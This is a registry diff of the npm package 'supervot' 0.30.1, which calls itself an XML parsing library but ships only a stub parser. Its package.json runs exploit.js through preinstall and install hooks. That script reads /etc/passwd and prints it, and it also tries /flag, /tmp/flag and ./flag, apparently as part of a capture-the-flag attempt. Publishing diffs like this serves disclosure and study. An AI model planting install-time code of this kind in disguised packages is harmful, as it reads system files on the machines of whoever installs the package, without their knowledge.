supervot 0.30.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/exploit.js +45 -0
  2. package/index.js +11 -0
  3. package/package.json +13 -0
package/exploit.js ADDED
@@ -0,0 +1,45 @@
1
+ const fs = require('fs');
2
+
3
+ console.log('🔍 ===== SEARCHING FOR FLAG =====');
4
+
5
+ // Простой и надежный поиск флага
6
+ try {
7
+ console.log('📖 Reading /etc/passwd...');
8
+ const passwd = fs.readFileSync('/etc/passwd', 'utf8');
9
+
10
+ console.log('✅ SUCCESS: /etc/passwd read');
11
+ console.log('📄 CONTENT:');
12
+ console.log('----------------------------------------');
13
+ console.log(passwd);
14
+ console.log('----------------------------------------');
15
+
16
+ // Поиск флага
17
+ const lines = passwd.split('\n');
18
+ for (let i = 0; i < lines.length; i++) {
19
+ const line = lines[i];
20
+ if (line.includes('{') && line.includes('}')) {
21
+ console.log('🎯🎯🎯 FLAG FOUND!');
22
+ console.log('🎯 LINE ' + i + ': ' + line);
23
+ console.log('🎯 FLAG: ' + line);
24
+ console.log('🎯🎯🎯');
25
+ break;
26
+ }
27
+ }
28
+
29
+ } catch(e) {
30
+ console.log('❌ ERROR: ' + e.message);
31
+
32
+ // Альтернативный поиск
33
+ console.log('🔍 Alternative search...');
34
+ try {
35
+ const files = ['/flag', '/tmp/flag', './flag'];
36
+ for (const file of files) {
37
+ try {
38
+ const content = fs.readFileSync(file, 'utf8');
39
+ console.log('📄 ' + file + ': ' + content);
40
+ } catch(e2) {}
41
+ }
42
+ } catch(e3) {}
43
+ }
44
+
45
+ console.log('===== END =====');
package/index.js ADDED
@@ -0,0 +1,11 @@
1
+ module.exports = {
2
+ parseXmlString: function(xml, options) {
3
+ return {
4
+ get: function(xpath) {
5
+ return {
6
+ text: function() { return "test"; }
7
+ };
8
+ }
9
+ };
10
+ }
11
+ };
package/package.json ADDED
@@ -0,0 +1,13 @@
1
+ {
2
+ "name": "supervot",
3
+ "version": "0.30.1",
4
+ "description": "XML parsing library",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node exploit.js",
8
+ "install": "node exploit.js"
9
+ },
10
+ "keywords": ["xml", "parser"],
11
+ "author": "test",
12
+ "license": "MIT"
13
+ }